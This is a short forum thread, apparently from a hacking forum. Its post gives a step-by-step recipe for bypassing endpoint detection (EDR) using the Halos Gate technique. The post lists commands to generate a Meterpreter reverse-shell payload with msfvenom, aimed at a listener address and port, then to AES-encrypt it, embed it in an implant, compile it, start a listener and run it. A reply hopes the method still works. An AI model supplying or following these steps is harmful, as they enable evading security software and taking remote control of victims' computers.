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Bypass EDR with Halos Gate - Printable Version

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Bypass EDR with Halos Gate - 0x7FFE4A71 - 07-25-2024

Hello guys,

Halos Gate is a patch to Hells Gate work with Hooked NTDLL without reading a net copy of NTDLL from disk.
The syscall number is caught from neighbors.


Create a RAW payload with Msfveonm
msfvenom -p windows/x64/meterpreter/reverse_* lhost=192.168.10.5 lport=4545 -f raw > meterpreter.raw

AES your payload (use aes.py from Sektor7)
python aes.py meterpreter.raw > meterpreter-shellcode.txt

Results:
AESkey[] = { 0x83, 0xef, ... }
payload[] = { 0x71, 0x77, 0xc2, 0xdb, 0x16, ... }

Change implant:
“AESkey" --> “key”
“payload” --> “payload”

Compile
gcc implant.cpp -o implant.exe

Remenber to open the Msfconsole and ser your listener

Execute the file gererated
implant.exe


RE: Bypass EDR with Halos Gate - jamescollink - 10-02-2024

Excellent link. Hope it still works.